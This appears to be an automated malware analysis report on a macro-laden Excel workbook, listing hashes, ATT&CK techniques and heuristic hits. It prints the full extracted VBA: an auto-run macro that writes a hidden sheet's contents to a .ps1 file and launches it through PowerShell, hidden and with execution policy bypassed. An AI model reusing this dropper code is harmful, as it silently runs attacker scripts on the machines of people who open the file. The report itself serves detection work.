Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3d5cf575f68dfe1b…

MALICIOUS

Office (OOXML)

21.9 KB Created: 2018-09-06 01:19:36 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-13
MD5: 224e45596f6e16174128df7201ace3a2 SHA-1: 4aa7a211b057c07463b1bba4b6bf6ed3abca546e SHA-256: 3d5cf575f68dfe1b898688e34d491947c323a56ad3ad1a14cad66d1e51681d94
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a Workbook_Open macro that utilizes WScript.Shell to create and execute a PowerShell script named 'T1566-001.ps1' from the user's profile directory. This script is likely designed to download and execute a second-stage payload, aligning with common initial access techniques via spearphishing attachments.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Next Column
    Dim wsh As Object: Set wsh = VBA.CreateObject("WScript.Shell")
     wsh.Run "Powershell.exe -noprofile -executionpolicy bypass -WindowStyle Hidden -file %userprofile%\T1566-001.ps1", vbMinimizedNoFocus
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Dim wsh As Object: Set wsh = VBA.CreateObject("WScript.Shell")
     wsh.Run "Powershell.exe -noprofile -executionpolicy bypass -WindowStyle Hidden -file %userprofile%\T1566-001.ps1", vbMinimizedNoFocus
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim stream
    Set stream = CreateObject("ADODB.Stream")
    stream.Charset = "utf-8"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub Workbook_Open()
    Dim Sheet As Worksheet: Set Sheet = ThisWorkbook.Worksheets("Sheet2")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    stream.Charset = "utf-8"
    Dim Path As String: Path = Environ("userprofile") & "\"
    Dim Name As String
  • Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2202 bytes
SHA-256: cf8b8dbec6c14026eae7650fad96e4aebb39ac17ddf537767f8f7683cae449cd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
Dim Sheet As Worksheet: Set Sheet = ThisWorkbook.Worksheets("Sheet2")
Dim Column As Integer
Dim Row As Integer
Dim stream
Set stream = CreateObject("ADODB.Stream")
stream.Charset = "utf-8"
Dim Path As String: Path = Environ("userprofile") & "\"
Dim Name As String
Dim Filename As String
Set Rng = Selection
For Column = 1 To Rng.Columns.Count
    stream.Open
    For Row = 1 To Rng.Rows.Count
        stream.WriteText Sheet.Cells(Row, Column).Value2, 1
    Next Row
    Name = "T1566-001"
    Filename = Path & Name & ".ps1"
    stream.SaveToFile Filename, 2
    stream.Close
Next Column
Dim wsh As Object: Set wsh = VBA.CreateObject("WScript.Shell")
 wsh.Run "Powershell.exe -noprofile -executionpolicy bypass -WindowStyle Hidden -file %userprofile%\T1566-001.ps1", vbMinimizedNoFocus
End Sub


Sub 시트숨기기()

    If Sheet2.Visible = xlSheetVeryHidden Then
        비번확인 = InputBox("비밀번호를 입력하세요")
        If 비번확인 = "test1234" Then
            Sheet2.Visible = xlSheetVisible
        Else
            MsgBox ("비밀번호가 틀립니다.")
            Exit Sub
        End If
    Else
            Sheet2.Visible = xlSheetVeryHidden
    End If

End Sub




Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 24064 bytes
SHA-256: 8d43e4d6432ff02f1d860a1782e817230471c0f42af77011e370d317e85c761f